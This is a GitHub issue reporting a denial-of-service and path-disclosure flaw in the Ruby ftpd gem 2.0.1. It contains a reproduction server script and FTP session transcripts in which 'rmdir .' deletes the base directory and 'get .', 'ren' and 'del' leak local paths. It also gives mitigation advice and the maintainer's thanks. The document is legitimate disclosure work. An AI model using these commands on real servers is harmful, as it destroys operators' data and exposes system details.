Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

FTP base path lack of trailing / results in denial of service and disclosure of the local file system path #42

Open
bcoles opened this issue May 13, 2017 · 1 comment

Comments

@bcoles
Copy link

bcoles commented May 13, 2017

The Ftpd::DiskFileSystem class suffers from a denial of service vulnerability and local file system path disclosure issues when the local file system path supplied in the constructor to be used as the base directory for the FTP server does not end with a trailing /.

This also includes temporary directories generated with Ftpd::TempDir.make which do not end with a trailing /. For example:

# irb
2.3.0 :001 > require 'ftpd'
 => true 
2.3.0 :002 > Ftpd::TempDir.make
 => "/tmp/d20170513-60691-1gn99k1"   # note: lack of trailing /

Tested on latest version of ftpd from GitHub repository (2.0.1).

The likelihood of this issue arising is increased due to the example code in the examples directory and the README which do not make use of a trailing /:

An excerpt from the README is shown below. Note the lack of the trailing /.

  def file_system(user)
    Ftpd::DiskFileSystem.new('/var/lib/ftp')
  end

Steps to Reproduce

Here's a simple example FTP script to reproduce these errors:

#!/usr/bin/env ruby

require 'ftpd'
require 'tmpdir'

class Driver
  def authenticate(user, password)
    true
  end
  def file_system(user)
    Ftpd::DiskFileSystem.new('/var/tmp/ftp')   # note: no trailing /
  end
end

driver = Driver.new
server = Ftpd::FtpServer.new(driver)
server.interface = '0.0.0.0'
server.port = 21
server.log = Logger.new($stdout)
server.start
puts "Server listening on port #{server.bound_port}"
gets

Denial of Service

It is possible to delete the base directory thus preventing users from uploading any additional files.

ftp> rmdir .
250 RMD command successful

Likewise, specifying rmdir .. will also delete the directory (note: it does NOT traverse and delete the parent directory, which is nice).

ftp> rmdir ..
250 RMD command successful

Here's a related excerpt from the server log:

# ./ftpd.rb 
Server listening on port 21
D, [2017-05-13T03:11:28.894137 #3962] DEBUG -- : 220 wconrad/ftpd 2.0.1
D, [2017-05-13T03:11:30.174613 #3962] DEBUG -- : USER asdf
D, [2017-05-13T03:11:30.174754 #3962] DEBUG -- : 331 Password required
D, [2017-05-13T03:11:30.782560 #3962] DEBUG -- : PASS **FILTERED**
D, [2017-05-13T03:11:30.782677 #3962] DEBUG -- : 230 Logged in
D, [2017-05-13T03:11:30.782796 #3962] DEBUG -- : SYST
D, [2017-05-13T03:11:30.782837 #3962] DEBUG -- : 215 UNIX Type: L8
D, [2017-05-13T03:11:32.488628 #3962] DEBUG -- : PORT 127,0,0,1,160,165
D, [2017-05-13T03:11:32.488804 #3962] DEBUG -- : 200 PORT command successful
D, [2017-05-13T03:11:32.488912 #3962] DEBUG -- : LIST
D, [2017-05-13T03:11:32.489077 #3962] DEBUG -- : 150 Opening ASCII mode data connection
D, [2017-05-13T03:11:32.489226 #3962] DEBUG -- : Sent 0 bytes
D, [2017-05-13T03:11:32.489354 #3962] DEBUG -- : 226 Transfer complete
D, [2017-05-13T03:11:34.668615 #3962] DEBUG -- : RMD .
D, [2017-05-13T03:11:34.668856 #3962] DEBUG -- : 250 RMD command successful

Local File System Path Disclosure

Various commands leak the local file system path of the ftpd base directory which may assist an attacker with further attacks against the system. This may also leak sensitive information in the event that the file system path contains sensitive information, such as client names, unique identifiers, PII, etc.

ftp> get . asdf
local: asdf remote: .
200 PORT command successful
150 Opening BINARY mode data connection
550 Is a directory @ io_fread - /var/tmp/ftp
ftp> get .. asdf
local: asdf remote: ..
200 PORT command successful
150 Opening BINARY mode data connection
550 Is a directory @ io_fread - /var/tmp/ftp
ftp> ren . asdf
350 RNFR accepted; ready for destination
550 Invalid argument @ rb_file_s_rename - (/var/tmp/ftp, /var/tmp/ftp/asdf)
ftp> ren .. asdf
350 RNFR accepted; ready for destination
550 Invalid argument @ rb_file_s_rename - (/var/tmp/ftp, /var/tmp/ftp/asdf)
ftp> del .
550 Is a directory @ unlink_internal - /var/tmp/ftp
ftp> del ..
550 Is a directory @ unlink_internal - /var/tmp/ftp

Although not directly related to the trailing slash issue, it's worth mentioning that attempting to delete a non-empty directory also discloses the local file system path.

ftp> ls asdf
200 PORT command successful
150 Opening ASCII mode data connection
-rw-r--r-- 1 root     root          242 May 13 04:12 asdf
226 Transfer complete
ftp> rmdir asdf
550 Directory not empty @ dir_s_rmdir - /var/tmp/ftp/asdf

Notes

Note that these issues are also present when usnig Ftpd::TempDir.make

Here's some example output demonstrating some of these issues using the example code which makes use of Ftpd::TempDir.make.

Connected to 127.0.0.1.
220 wconrad/ftpd 2.0.1
Name (127.0.0.1:root): root
331 Password required
Password:
230 Logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection
-rw-r--r-- 1 root     root           52 May 13 03:42 README
226 Transfer complete
ftp> del .
550 Is a directory @ unlink_internal - /tmp/d20170513-60051-1j26lxs
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection
-rw-r--r-- 1 root     root           52 May 13 03:42 README
226 Transfer complete
ftp> rmdir .
550 Directory not empty @ dir_s_rmdir - /tmp/d20170513-60051-1j26lxs
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection
-rw-r--r-- 1 root     root           52 May 13 03:42 README
226 Transfer complete
ftp> del README
250 DELE command successful
ftp> rmdir .
250 RMD command successful
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection
226 Transfer complete
ftp> 
ftp> put /etc/hosts asdf
local: /etc/hosts remote: asdf
200 PORT command successful
550 No such file or directory
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection
226 Transfer complete
ftp> 

Mitigation

To prevent disclosure of the file path, ensure 550 errors do not return the underlying error to the client.

To prevent denial of service by deleting the base directory, ensure the file system path specified in the Ftpd::DiskFileSystem constructor always makes use of a trailing slash /.

When the base path is specified with a trailing slash, a 550 Access denied error is returned in each instance identified above.

For example:

ftp> rmdir .
550 Access denied
@wconrad
Copy link
Owner

wconrad commented May 13, 2017

Outstanding bug report. I know how much time it takes to make a good one, so thank you.

pcbeard added a commit to pcbeard/ftpd that referenced this issue Jun 25, 2017
pcbeard added a commit to pcbeard/ftpd that referenced this issue Jun 26, 2017
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants